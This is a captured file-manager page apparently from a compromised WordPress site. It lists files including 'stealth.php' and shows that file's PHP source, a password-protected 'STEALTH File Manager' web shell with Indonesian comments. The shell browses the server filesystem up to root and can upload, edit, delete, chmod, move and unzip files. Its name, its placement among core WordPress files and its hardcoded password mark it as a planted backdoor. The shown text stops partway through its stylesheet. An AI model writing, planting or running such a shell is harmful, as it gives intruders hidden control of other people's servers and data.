File Manager

📁 Media Files

📋 .htaccess 📋 .tmb 📋 .well-known 📋 cgi-bin 🔧 ctvan.php 📋 error_log 🔧 index.php 📄 license.txt 🌐 readme.html 🔧 stealth.php 📋 subdomain 🔧 wp-activate.php 📋 wp-admin 🔧 wp-blog-header.php 🔧 wp-comments-post.php 🔧 wp-config-sample.php 🔧 wp-config.php 📋 wp-content 🔧 wp-cron.php 📋 wp-includes 🔧 wp-links-opml.php 🔧 wp-load.php 🔧 wp-login.php 🔧 wp-mail.php 🔧 wp-settings.php 🔧 wp-signup.php 🔧 wp-trackback.php 🔧 xmlrpc.php

⬆️ Upload Media

📝 Edit: stealth.php

Size: 82.84 KB | Modified: 2026-11-09 18:08:50

<?php
/**
 * STEALTH File Manager
 * A powerful, feature-rich PHP file manager
 */

// ============================================================
// CONFIGURATION
// ============================================================
define('FM_PASSWORD', '@tobrutliar'); // Change this!
define('FM_SESSION_KEY', 'stealth_fm_auth');
define('FM_SESSION_BASE', 'fm_base_root');
define('FM_MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB
define('FM_SELF', basename(__FILE__));
define('FM_VERSION', '2.1');
/**
 * Root awal saat pertama buka: 'auto' | 'document' | 'script'
 * auto = cari public_html / document root; script = folder file ini saja
 */
define('FM_DEFAULT_ROOT_MODE', 'auto');
/** Path tambahan di menu cepat — ['Label' => '/path/absolut'] */
$FM_EXTRA_ROOTS = [];

// ============================================================
// SESSION & AUTH
// ============================================================
session_start();

function fm_is_logged_in() {
    return isset($_SESSION[FM_SESSION_KEY]) && $_SESSION[FM_SESSION_KEY] === true;
}

function fm_login($pass) {
    if ($pass === FM_PASSWORD) {
        $_SESSION[FM_SESSION_KEY] = true;
        return true;
    }
    return false;
}

function fm_logout() {
    unset($_SESSION[FM_SESSION_KEY]);
}

// ============================================================
// HELPER FUNCTIONS
// ============================================================
function fm_clean_path($path) {
    $path = str_replace(['../', '..\\', '../', '..\\'], '', $path);
    $path = ltrim($path, '/\\');
    return $path;
}

function fm_norm_path(string $path): string {
    return str_replace('\\', '/', $path);
}

function fm_detect_default_root(): string {
    $try = function ($path) {
        if ($path === '' || $path === null) {
            return null;
        }
        $real = @realpath($path);
        return ($real && is_dir($real) && is_readable($real)) ? $real : null;
    };

if (FM_DEFAULT_ROOT_MODE === 'script') {
        return $try(__DIR__) ?: __DIR__;
    }

if (FM_DEFAULT_ROOT_MODE === 'document' || FM_DEFAULT_ROOT_MODE === 'auto') {
        if (!empty($_SERVER['DOCUMENT_ROOT'])) {
            $doc = $try($_SERVER['DOCUMENT_ROOT']);
            if ($doc) {
                return $doc;
            }
        }
    }

if (FM_DEFAULT_ROOT_MODE === 'auto') {
        $dir = __DIR__;
        for ($i = 0; $i < 20; $i++) {
            $name = basename($dir);
            if (in_array($name, ['public_html', 'www', 'htdocs', 'httpdocs', 'web'], true)) {
                $hit = $try($dir);
                if ($hit) {
                    return $hit;
                }
            }
            foreach (['public_html', 'www', 'htdocs', 'httpdocs'] as $sub) {
                $hit = $try($dir . DIRECTORY_SEPARATOR . $sub);
                if ($hit) {
                    return $hit;
                }
            }
            $parent = dirname($dir);
            if ($parent === $dir) {
                break;
            }
            $dir = $parent;
        }

$home = getenv('HOME') ?: ($_SERVER['HOME'] ?? '');
        if ($home) {
            foreach (['/public_html', '/www', '/domains'] as $suffix) {
                $hit = $try($home . $suffix);
                if ($hit) {
                    return $hit;
                }
            }
            $hit = $try($home);
            if ($hit) {
                return $hit;
            }
        }
    }

return $try(__DIR__) ?: __DIR__;
}

function fm_discover_quick_roots(): array {
    global $FM_EXTRA_ROOTS;
    $seen = [];
    $list = [];

$add = function (string $label, string $path) use (&$seen, &$list) {
        $path = trim($path);
        if ($path === '') {
            return;
        }
        $real = @realpath($path);
        if (!$real || !is_dir($real) || !@is_readable($real)) {
            return;
        }
        $key = fm_norm_path($real);
        if (isset($seen[$key])) {
            return;
        }
        $seen[$key] = true;
        $list[] = ['label' => $label, 'path' => $real];
    };

if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $add('Document Root (web)', $_SERVER['DOCUMENT_ROOT']);
    }
    $add('Folder skrip ini', __DIR__);
    $add('Root aktif', fm_get_base_root());

$home = getenv('HOME') ?: ($_SERVER['HOME'] ?? '');
    if ($home) {
        $add('Home user', $home);
        $add('public_html', $home . '/public_html');
        $add('www', $home . '/www');
    }

$dir = __DIR__;
    for ($i = 0; $i < 18 && $dir !== dirname($dir); $i++) {
        $add('↑ ' . basename($dir), $dir);
        foreach (['public_html', 'www', 'htdocs', 'httpdocs'] as $sub) {
            $add($sub . ' ← ' . basename($dir), $dir . DIRECTORY_SEPARATOR . $sub);
        }
        $dir = dirname($dir);
    }

if (is_array($FM_EXTRA_ROOTS)) {
        foreach ($FM_EXTRA_ROOTS as $label => $path) {
            $add(is_int($label) ? basename($path) : (string) $label, (string) $path);
        }
    }

$add('Filesystem /', '/');
    return $list;
}

function fm_get_path($dir = '') {
    $root = isset($_GET['p']) ? fm_clean_path($_GET['p']) : '';
    if ($dir) return $root ? $root . '/' . $dir : $dir;
    return $root;
}

function fm_full_path($rel) {
    $base = fm_norm_path(fm_get_base_root());
    $rel  = fm_clean_path((string) $rel);
    if ($rel === '') {
        return $base;
    }
    return $base . '/' . str_replace('\\', '/', $rel);
}

function fm_file_size($bytes) {
    $units = ['B','KB','MB','GB','TB'];
    $i = 0;
    while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; }
    return round($bytes, 2) . ' ' . $units[$i];
}

function fm_file_icon($name) {
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    $icons = [
        'php'=>'🐘','html'=>'🌐','htm'=>'🌐','css'=>'🎨','js'=>'⚡','json'=>'📋',
        'xml'=>'📄','sql'=>'🗄️','py'=>'🐍','rb'=>'💎','go'=>'🔵','rs'=>'🦀',
        'c'=>'⚙️','cpp'=>'⚙️','h'=>'⚙️','java'=>'☕','ts'=>'📘','vue'=>'💚',
        'jpg'=>'🖼️','jpeg'=>'🖼️','png'=>'🖼️','gif'=>'🖼️','svg'=>'✏️','webp'=>'🖼️','ico'=>'🖼️',
        'mp4'=>'🎬','avi'=>'🎬','mkv'=>'🎬','mov'=>'🎬','webm'=>'🎬',
        'mp3'=>'🎵','wav'=>'🎵','ogg'=>'🎵','flac'=>'🎵',
        'zip'=>'📦','rar'=>'📦','tar'=>'📦','gz'=>'📦','7z'=>'📦',
        'pdf'=>'📕','doc'=>'📝','docx'=>'📝','xls'=>'📊','xlsx'=>'📊','ppt'=>'📊','pptx'=>'📊',
        'txt'=>'📄','log'=>'📋','md'=>'📝','csv'=>'📊',
        'sh'=>'💻','bat'=>'💻','cmd'=>'💻',
        'conf'=>'⚙️','ini'=>'⚙️','env'=>'⚙️','yml'=>'⚙️','yaml'=>'⚙️',
    ];
    return $icons[$ext] ?? '📄';
}

function fm_is_text_file($name) {
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    $text_exts = ['php','html','htm','css','js','json','xml','sql','py','rb','go','c','cpp','h',
                  'java','ts','txt','log','md','csv','sh','bat','conf','ini','env','yml','yaml',
                  'rs','vue','ts','jsx','tsx','htaccess','gitignore'];
    return in_array($ext, $text_exts);
}

function fm_is_image($name) {
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','svg','webp','bmp','ico']);
}

function fm_get_perms($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

function fm_rmdir_recursive($dir) {
    if (!is_dir($dir)) return false;
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) fm_rmdir_recursive($path);
        else unlink($path);
    }
    return rmdir($dir);
}

function fm_get_disk_usage($path) {
    $total = disk_total_space($path);
    $free = disk_free_space($path);
    $used = $total - $free;
    return compact('total', 'free', 'used');
}

// ============================================================
// ACTION HANDLERS
// ============================================================
$msg = '';
$msg_type = '';

if (isset($_POST['action']) || isset($_GET['action'])) {
    $action = $_POST['action'] ?? $_GET['action'] ?? '';
    
    if ($action === 'login') {
        if (fm_login($_POST['password'] ?? '')) {
            header('Location: ' . FM_SELF); exit;
        } else {
            $msg = 'Password salah!'; $msg_type = 'error';
        }
    }
    
    if ($action === 'logout') {
        fm_logout();
        header('Location: ' . FM_SELF); exit;
    }
}

if (fm_is_logged_in()) {
    $action = $_POST['action'] ?? $_GET['action'] ?? '';
    $cur_path = fm_clean_path($_GET['p'] ?? '');

if (isset($_GET['set_root'])) {
        if (fm_set_base_root((string) $_GET['set_root'])) {
            header('Location: ?');
            exit;
        }
        $msg = 'Path root tidak valid atau tidak bisa dibaca.';
        $msg_type = 'error';
    }

if ($action === 'set_root_path' && !empty($_POST['root_path'])) {
        if (fm_set_base_root((string) $_POST['root_path'])) {
            header('Location: ?');
            exit;
        }
        $msg = 'Gagal pindah ke path tersebut. Pastikan path absolut benar.';
        $msg_type = 'error';
    }

if (isset($_GET['up_root'])) {
        $base   = fm_get_base_root();
        $parent = dirname($base);
        if ($parent !== $base && fm_set_base_root($parent)) {
            header('Location: ?');
            exit;
        }
        $msg = 'Sudah di folder paling atas yang bisa diakses.';
        $msg_type = 'error';
    }

// Download file
    if ($action === 'download' && isset($_GET['f'])) {
        $file = fm_full_path($cur_path . '/' . fm_clean_path($_GET['f']));
        if (is_file($file)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-Length: ' . filesize($file));
            readfile($file); exit;
        }
    }

// Download as ZIP
    if ($action === 'zip_download' && isset($_GET['f'])) {
        $target = fm_full_path($cur_path . '/' . fm_clean_path($_GET['f']));
        $zip_name = sys_get_temp_dir() . '/' . md5(time()) . '.zip';
        if (fm_zip_dir($target, $zip_name)) {
            header('Content-Type: application/zip');
            header('Content-Disposition: attachment; filename="' . basename($target) . '.zip"');
            header('Content-Length: ' . filesize($zip_name));
            readfile($zip_name);
            unlink($zip_name); exit;
        }
    }

// Get file content for editor
    if ($action === 'get_content' && isset($_GET['f'])) {
        $file = fm_full_path($cur_path . '/' . fm_clean_path($_GET['f']));
        if (is_file($file)) {
            header('Content-Type: application/json');
            echo json_encode(['content' => file_get_contents($file), 'name' => basename($file)]);
            exit;
        }
    }

// Save file content
    if ($action === 'save_file' && isset($_POST['filename'])) {
        $file = fm_full_path($cur_path . '/' . fm_clean_path($_POST['filename']));
        file_put_contents($file, $_POST['content'] ?? '');
        header('Content-Type: application/json');
        echo json_encode(['ok' => true, 'msg' => 'File berhasil disimpan!']);
        exit;
    }

// Upload
    if ($action === 'upload' && !empty($_FILES['files'])) {
        $uploaded = 0; $failed = 0;
        foreach ($_FILES['files']['name'] as $i => $name) {
            if ($_FILES['files']['error'][$i] === 0) {
                $dest = fm_full_path($cur_path . '/' . basename($name));
                if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $dest)) $uploaded++;
                else $failed++;
            }
        }
        $msg = "$uploaded file diupload" . ($failed ? ", $failed gagal" : "");
        $msg_type = $failed ? 'warning' : 'success';
    }

// Create folder
    if ($action === 'mkdir' && !empty($_POST['name'])) {
        $new_dir = fm_full_path($cur_path . '/' . basename($_POST['name']));
        if (mkdir($new_dir, 0755)) { $msg = 'Folder dibuat!'; $msg_type = 'success'; }
        else { $msg = 'Gagal membuat folder!'; $msg_type = 'error'; }
    }

// Create new file
    if ($action === 'newfile' && !empty($_POST['name'])) {
        $new_file = fm_full_path($cur_path . '/' . basename($_POST['name']));
        if (!file_exists($new_file) && file_put_contents($new_file, '') !== false) {
            $msg = 'File dibuat!'; $msg_type = 'success';
        } else { $msg = 'Gagal membuat file!'; $msg_type = 'error'; }
    }

// Delete
    if ($action === 'delete' && !empty($_POST['items'])) {
        $del = 0;
        foreach ($_POST['items'] as $item) {
            $target = fm_full_path($cur_path . '/' . fm_clean_path($item));
            if (is_dir($target)) { fm_rmdir_recursive($target) && $del++; }
            elseif (is_file($target)) { unlink($target) && $del++; }
        }
        $msg = "$del item dihapus!"; $msg_type = 'success';
    }

// Rename
    if ($action === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
        $old = fm_full_path($cur_path . '/' . fm_clean_path($_POST['old']));
        $new = fm_full_path($cur_path . '/' . basename($_POST['new']));
        if (rename($old, $new)) { $msg = 'Berhasil diubah namanya!'; $msg_type = 'success'; }
        else { $msg = 'Gagal mengubah nama!'; $msg_type = 'error'; }
    }

// Copy
    if ($action === 'copy' && !empty($_POST['items']) && !empty($_POST['dest'])) {
        $dest_path = trim((string) $_POST['dest']);
        foreach ($_POST['items'] as $item) {
            $src = fm_full_path($cur_path . '/' . fm_clean_path($item));
            $dst = fm_resolve_dest_path($dest_path) . '/' . basename($item);
            fm_copy_recursive($src, $dst);
        }
        $msg = 'Berhasil dicopy!'; $msg_type = 'success';
    }

// Move
    if ($action === 'move' && !empty($_POST['items']) && !empty($_POST['dest'])) {
        $dest_path = trim((string) $_POST['dest']);
        foreach ($_POST['items'] as $item) {
            $src = fm_full_path($cur_path . '/' . fm_clean_path($item));
            $dst = fm_resolve_dest_path($dest_path) . '/' . basename($item);
            rename($src, $dst);
        }
        $msg = 'Berhasil dipindahkan!'; $msg_type = 'success';
    }

// Change permissions
    if ($action === 'chmod' && !empty($_POST['item']) && !empty($_POST['perms'])) {
        $target = fm_full_path($cur_path . '/' . fm_clean_path($_POST['item']));
        $perms = octdec($_POST['perms']);
        if (chmod($target, $perms)) { $msg = 'Permission diubah!'; $msg_type = 'success'; }
        else { $msg = 'Gagal mengubah permission!'; $msg_type = 'error'; }
    }

// Extract ZIP
    if ($action === 'extract' && !empty($_POST['file']) && extension_loaded('zip')) {
        $zip_file = fm_full_path($cur_path . '/' . fm_clean_path($_POST['file']));
        $zip = new ZipArchive();
        if ($zip->open($zip_file) === true) {
            $zip->extractTo(fm_full_path($cur_path));
            $zip->close();
            $msg = 'ZIP berhasil diekstrak!'; $msg_type = 'success';
        }
    }

// Search
    if ($action === 'search' && !empty($_POST['query'])) {
        // handled below
    }
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>STEALTH File Manager</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;600;700&family=Syne:wght@400;600;800&display=swap" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/dracula.min.css" rel="stylesheet">
<style>
:root {
  --bg: #0a0c10;
  --bg2: #0f1117;
  --bg3: #161b22;
  --panel: #13161e;
  --border: #21262d;
  --accent: #58a6ff;
  --accent2: #3fb950;
  --accent3: #f78166;
  --accent4: #d2a8ff;
  --accent5: #ffa657;
  --text: #e6edf3;
  --text2: #8b949e;
  --text3: #484f58;
  --red: #f85149;
  --yellow: #e3b341;
  --green: #3fb950;
  --radius: 8px;
  --radius-lg: 12px;
  --shadow: 0 8px 32px rgba(0,0,0,0.5);
  --transition: 0.15s cubic-bezier(0.4,0,0.2,1);
}

* { box-sizing: border-box; margin: 0; padding: 0; }

body {
  font-family: 'JetBrains Mono', monospace;
  background: var(--bg);
  color: var(--text);
  min-height: 100vh;
  font-size: 13px;
  overflow-x: hidden;
}

/* ─── NOISE TEXTURE ─────────────────────────────── */
body::before {
  content: '';
  position: fixed; inset: 0; z-index: 0;
  background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 200 200' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.03'/%3E%3C/svg%3E");
  pointer-events: none;
}

/* ─── LOGIN ──────────────────────────────────────── */
.login-wrap {
  min-height: 100vh;
  display: flex; align-items: center; justify-content: center;
  background: radial-gradient(ellipse 80% 60% at 50% 30%, #1a2236 0%, var(--bg) 100%);
  position: relative; z-index: 1;
}

.login-card {
  background: var(--bg3);
  border: 1px solid var(--border);
  border-radius: var(--radius-lg);
  padding: 48px 40px;
  width: 380px;
  box-shadow: var(--shadow), 0 0 80px rgba(88,166,255,0.05);
  position: relative; overflow: hidden;
}

.login-card::before {
  content: '';
  position: absolute; top: 0; left: 0; right: 0; height: 2px;
  background: linear-gradient(90deg, transparent, var(--accent), transparent);
}

.login-logo {
  text-align: center; margin-bottom: 32px;
}

.login-logo .logo-icon {
  font-size: 48px; display: block; margin-bottom: 12px;
  filter: drop-shadow(0 0 20px rgba(88,166,255,0.5));
}

.login-logo h1 {
  font-family: 'Syne', sans-serif;
  font-size: 28px; font-weight: 800;
  letter-spacing: 4px; color: var(--text);
}

.login-logo p { color: var(--text2); font-size: 11px; letter-spacing: 2px; }

.login-form input[type=password] {
  width: 100%;
  background: var(--bg2);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  padding: 12px 16px;
  color: var(--text);
  font-family: inherit; font-size: 14px;
  outline: none; transition: border-color var(--transition);
  margin-bottom: 16px;
}
.login-form input[type=password]:focus { border-color: var(--accent); }

.btn {
  display: inline-flex; align-items: center; gap: 6px;
  padding: 8px 16px;
  border-radius: var(--radius);
  border: 1px solid transparent;
  font-family: inherit; font-size: 12px;
  cursor: pointer; transition: all var(--transition);
  font-weight: 600; letter-spacing: 0.5px;
  text-decoration: none; white-space: nowrap;
}

.btn-primary {
  background: var(--accent);
  color: #0d1117; border-color: var(--accent);
  width: 100%;  justify-content: center;
  padding: 12px; font-size: 13px;
}
.btn-primary:hover { background: #79c0ff; }

.btn-ghost {
  background: transparent;
  color: var(--text2);
  border-color: var(--border);
}
.btn-ghost:hover { background: var(--bg3); color: var(--text); border-color: var(--text3); }

.btn-danger {
  background: transparent;
  color: var(--red); border-color: var(--red);
}
.btn-danger:hover { background: rgba(248,81,73,0.1); }

.btn-success {
  background: var(--green);
  color: #0d1117; border-color: var(--green);
}
.btn-success:hover { background: #56d364; }

.btn-warning {
  background: transparent;
  color: var(--yellow); border-color: var(--yellow);
}
.btn-warning:hover { background: rgba(227,179,65,0.1); }

/* ─── MAIN LAYOUT ─────────────────────────────────── */
.app-wrap {
  display: grid;
  grid-template-rows: auto 1fr;
  min-height: 100vh;
  position: relative; z-index: 1;
}

/* ─── TOPBAR ─────────────────────────────────────── */
.topbar {
  background: var(--bg3);
  border-bottom: 1px solid var(--border);
  padding: 0 20px;
  display: flex; align-items: center; gap: 16px;
  height: 52px; flex-shrink: 0;
  position: sticky; top: 0; z-index: 100;
}

.topbar-logo {
  font-family: 'Syne', sans-serif;
  font-size: 18px; font-weight: 800;
  color: var(--accent);
  letter-spacing: 3px;
  display: flex; align-items: center; gap: 8px;
  margin-right: 8px;
  flex-shrink: 0;
}

.topbar-logo span { font-size: 20px; }

.breadcrumb {
  display: flex; align-items: center; gap: 4px;
  flex: 1; overflow: hidden;
}

.breadcrumb a, .breadcrumb span {
  color: var(--text2); text-decoration: none;
  padding: 2px 6px; border-radius: 4px;
  font-size: 12px; transition: all var(--transition);
  white-space: nowrap;
}
.breadcrumb a:hover { color: var(--accent); background: rgba(88,166,255,0.1); }
.breadcrumb .sep { color: var(--text3); padding: 0; }
.breadcrumb .current { color: var(--text); }

.topbar-actions {
  display: flex; align-items: center; gap: 8px;
  flex-shrink: 0;
}

.search-bar {
  display: flex; align-items: center;
  background: var(--bg2);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  padding: 6px 12px; gap: 8px;
}
.search-bar input {
  background: none; border: none; outline: none;
  color: var(--text); font-family: inherit; font-size: 12px; width: 180px;
}
.search-bar input::placeholder { color: var(--text3); }

/* ─── MAIN CONTENT ───────────────────────────────── */
.main-content {
  display: flex; overflow: hidden;
}

/* ─── SIDEBAR ─────────────────────────────────────── */
.sidebar {
  width: 220px; flex-shrink: 0;
  background: var(--bg3);
  border-right: 1px solid var(--border);
  padding: 16px 0;
  overflow-y: auto;
}

.sidebar-section { margin-bottom: 8px; }
.sidebar-title {
  font-size: 10px; font-weight: 700; letter-spacing: 1.5px;
  color: var(--text3); padding: 4px 16px 8px;
  text-transform: uppercase;
}

.sidebar-item {
  display: flex; align-items: center; gap: 8px;
  padding: 7px 16px;
  color: var(--text2); text-decoration: none;
  font-size: 12px; transition: all var(--transition);
  cursor: pointer;
}
.sidebar-item:hover { color: var(--text); background: rgba(255,255,255,0.04); }
.sidebar-item.active { color: var(--accent); background: rgba(88,166,255,0.08); border-right: 2px solid var(--accent); }
.sidebar-item .icon { font-size: 14px; width: 20px; text-align: center; }
.root-current {
  font-size: 10px; color: var(--text3); padding: 6px 14px 8px;
  word-break: break-all; line-height: 1.35; border-bottom: 1px solid var(--border);
}
.root-quick-list { max-height: 220px; overflow-y: auto; }
.root-quick .root-label {
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex: 1;
}
.root-quick { font-size: 11px; }

.disk-info {
  margin: 16px;
  padding: 12px;
  background: var(--bg2);
  border-radius: var(--radius);
  border: 1px solid var(--border);
}
.disk-info .label { font-size: 10px; color: var(--text3); margin-bottom: 6px; letter-spacing: 1px; }
.disk-bar {
  height: 3px; background: var(--border);
  border-radius: 2px; overflow: hidden; margin-bottom: 6px;
}
.disk-bar-fill { height: 100%; background: linear-gradient(90deg, var(--accent), var(--accent4)); border-radius: 2px; }
.disk-stats { display: flex; justify-content: space-between; }
.disk-stats span { font-size: 10px; color: var(--text2); }

/* ─── FILE AREA ──────────────────────────────────── */
.file-area {
  flex: 1; overflow-y: auto;
  display: flex; flex-direction: column;
}

/* ─── TOOLBAR ─────────────────────────────────────── */
.toolbar {
  padding: 10px 16px;
  background: var(--panel);
  border-bottom: 1px solid var(--border);
  display: flex; align-items: center; gap: 8px; flex-wrap: wrap;
  flex-shrink: 0;
}

.toolbar-sep { width: 1px; height: 20px; background: var(--border); margin: 0 2px; }

/* ─── STATUS BAR ──────────────────────────────────── */
.statusbar {
  padding: 6px 16px;
  background: var(--bg3);
  border-bottom: 1px solid var(--border);
  display: flex; align-items: center; gap: 16px;
  font-size: 11px; color: var(--text2); flex-shrink: 0;
}
.statusbar .sel-count { color: var(--accent); }

/* ─── FILE TABLE ──────────────────────────────────── */
.file-table-wrap { flex: 1; overflow-y: auto; }

.file-table {
  width: 100%; border-collapse: collapse;
}

.file-table thead th {
  padding: 10px 12px;
  text-align: left;
  font-size: 11px;
  font-weight: 700;
  letter-spacing: 1px;
  color: var(--text3);
  text-transform: uppercase;
  background: var(--bg3);
  border-bottom: 1px solid var(--border);
  position: sticky; top: 0; z-index: 10;
  cursor: pointer; user-select: none;
}
.file-table thead th:hover { color: var(--text2); }

.file-table tbody tr {
  border-bottom: 1px solid rgba(33,38,45,0.5);
  transition: background var(--transition);
  cursor: default;
}
.file-table tbody tr:hover { background: rgba(255,255,255,0.02); }
.file-table tbody tr.selected { background: rgba(88,166,255,0.06); }

.file-table td { padding: 8px 12px; }

.file-table .col-check { width: 36px; }
.file-table .col-icon { width: 32px; text-align: center; font-size: 16px; }
.file-table .col-name { font-weight: 500; }
.file-table .col-name a { color: var(--text); text-decoration: none; }
.file-table .col-name a:hover { color: var(--accent); }
.file-table .col-size { width: 90px; color: var(--text2); text-align: right; }
.file-table .col-perms { width: 80px; color: var(--text3); font-size: 11px; font-family: monospace; }
.file-table .col-date { width: 150px; color: var(--text2); font-size: 11px; }
.file-table .col-actions { width: 160px; }

.file-actions { display: flex; gap: 4px; opacity: 0; transition: opacity var(--transition); }
tr:hover .file-actions { opacity: 1; }

.action-btn {
  padding: 3px 8px; font-size: 10px;
  border-radius: 4px; border: 1px solid var(--border);
  background: var(--bg3); color: var(--text2);
  cursor: pointer; font-family: inherit;
  transition: all var(--transition);
}
.action-btn:hover { border-color: var(--accent); color: var(--accent); }
.action-btn.red:hover { border-color: var(--red); color: var(--red); }
.action-btn.green:hover { border-color: var(--green); color: var(--green); }

/* ─── EMPTY STATE ─────────────────────────────────── */
.empty-state {
  display: flex; flex-direction: column; align-items: center;
  justify-content: center; gap: 12px;
  padding: 80px 20px; color: var(--text3);
}
.empty-state .icon { font-size: 48px; opacity: 0.4; }
.empty-state p { font-size: 14px; }

/* ─── MODALS ──────────────────────────────────────── */
.modal-overlay {
  position: fixed; inset: 0; z-index: 1000;
  background: rgba(0,0,0,0.7);
  backdrop-filter: blur(4px);
  display: flex; align-items: center; justify-content: center;
  opacity: 0; pointer-events: none;
  transition: opacity var(--transition);
}
.modal-overlay.active { opacity: 1; pointer-events: all; }

.modal {
  background: var(--bg3);
  border: 1px solid var(--border);
  border-radius: var(--radius-lg);
  padding: 24px;
  width: 480px; max-width: 95vw;
  box-shadow: var(--shadow);
  transform: scale(0.95) translateY(-20px);
  transition: transform 0.2s cubic-bezier(0.4,0,0.2,1);
  position: relative;
}
.modal-overlay.active .modal { transform: scale(1) translateY(0); }

.modal-lg { width: 700px; }
.modal-xl { width: 95vw; max-width: 1100px; max-height: 90vh; display: flex; flex-direction: column; }

.modal-header {
  display: flex; align-items: center; justify-content: space-between;
  margin-bottom: 20px;
}
.modal-title {
  font-family: 'Syne', sans-serif;
  font-size: 16px; font-weight: 700;
  color: var(--text);
}
.modal-close {
  background: none; border: none; color: var(--text3);
  font-size: 18px; cursor: pointer; padding: 4px;
  border-radius: 4px; transition: color var(--transition);
}
.modal-close:hover { color: var(--text); }
.modal-footer { display: flex; justify-content: flex-end; gap: 8px; margin-top: 20px; }

/* ─── FORM ELEMENTS ──────────────────────────────── */
.form-group { margin-bottom: 14px; }
.form-label { display: block; font-size: 11px; color: var(--text2); margin-bottom: 6px; letter-spacing: 0.5px; }
.form-input {
  width: 100%;
  background: var(--bg2);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  padding: 9px 12px;
  color: var(--text);
  font-family: inherit; font-size: 13px;
  outline: none; transition: border-color var(--transition);
}
.form-input:focus { border-color: var(--accent); }
.form-select {
  width: 100%;
  background: var(--bg2);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  padding: 9px 12px;
  color: var(--text);
  font-family: inherit; font-size: 13px;
  outline: none;
}

/* ─── EDITOR ──────────────────────────────────────── */
.editor-body { flex: 1; overflow: hidden; display: flex; flex-direction: column; }
.CodeMirror { flex: 1; height: 100%; min-height: 500px; font-size: 13px !important; }
.CodeMirror-scroll { min-height: 500px; }

/* ─── UPLOAD ZONE ────────────────────────────────── */
.upload-zone {
  border: 2px dashed var(--border);
  border-radius: var(--radius);
  padding: 32px;
  text-align: center;
  color: var(--text2);
  cursor: pointer;
  transition: all var(--transition);
}
.upload-zone:hover, .upload-zone.dragover {
  border-color: var(--accent);
  background: rgba(88,166,255,0.05);
  color: var(--accent);
}
.upload-zone input { display: none; }
.upload-zone .icon { font-size: 32px; margin-bottom: 8px; display: block; }
.upload-list { margin-top: 12px; max-height: 150px; overflow-y: auto; }
.upload-item { display: flex; align-items: center; gap: 8px; padding: 4px 0; font-size: 11px; color: var(--text2); }

/* ─── TOAST ───────────────────────────────────────── */
.toast-wrap {
  position: fixed; bottom: 20px; right: 20px; z-index: 9999;
  display: flex; flex-direction: column; gap: 8px; pointer-events: none;
}
.toast {
  background: var(--bg3);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  padding: 12px 16px;
  display: flex; align-items: center; gap: 10px;
  font-size: 12px; min-width: 250px;
  box-shadow: var(--shadow);
  animation: toastIn 0.3s ease;
  pointer-events: all;
}
.toast.success { border-color: var(--green); }
.toast.error { border-color: var(--red); }
.toast.warning { border-color: var(--yellow); }

@keyframes toastIn {
  from { transform: translateX(100%); opacity: 0; }
  to { transform: translateX(0); opacity: 1; }
}

/* ─── CONTEXT MENU ─────────────────────────────────── */
.ctx-menu {
  position: fixed; z-index: 5000;
  background: var(--bg3);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  padding: 6px 0;
  box-shadow: var(--shadow);
  min-width: 180px;
  display: none;
  animation: ctxIn 0.1s ease;
}
.ctx-menu.visible { display: block; }
@keyframes ctxIn { from { opacity:0; transform: scale(0.95); } to { opacity:1; transform: scale(1); } }
.ctx-item {
  display: flex; align-items: center; gap: 10px;
  padding: 8px 16px;
  color: var(--text2); font-size: 12px;
  cursor: pointer; transition: all var(--transition);
}
.ctx-item:hover { background: rgba(255,255,255,0.04); color: var(--text); }
.ctx-item.red:hover { color: var(--red); }
.ctx-sep { height: 1px; background: var(--border); margin: 4px 0; }

/* ─── PREVIEW ─────────────────────────────────────── */
.preview-img { max-width: 100%; max-height: 60vh; display: block; margin: 0 auto; border-radius: var(--radius); }
.preview-text { font-family: 'JetBrains Mono', monospace; font-size: 12px; color: var(--text2); white-space: pre-wrap; word-break: break-all; max-height: 60vh; overflow-y: auto; }

/* ─── INFO BOX ─────────────────────────────────────── */
.info-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
.info-item { background: var(--bg2); border-radius: var(--radius); padding: 10px 14px; border: 1px solid var(--border); }
.info-item .label { font-size: 10px; color: var(--text3); letter-spacing: 1px; text-transform: uppercase; margin-bottom: 4px; }
.info-item .value { font-size: 13px; color: var(--text); word-break: break-all; }

/* ─── SEARCH RESULTS ──────────────────────────────── */
.search-result-item {
  display: flex; align-items: center; gap: 10px;
  padding: 8px 16px; border-bottom: 1px solid rgba(33,38,45,0.5);
  cursor: pointer; transition: background var(--transition);
}
.search-result-item:hover { background: rgba(255,255,255,0.03); }
.search-result-item .path { font-size: 11px; color: var(--text3); }

/* ─── PERMISSION GRID ─────────────────────────────── */
.perm-grid { display: grid; grid-template-columns: repeat(3,1fr); gap: 8px; }
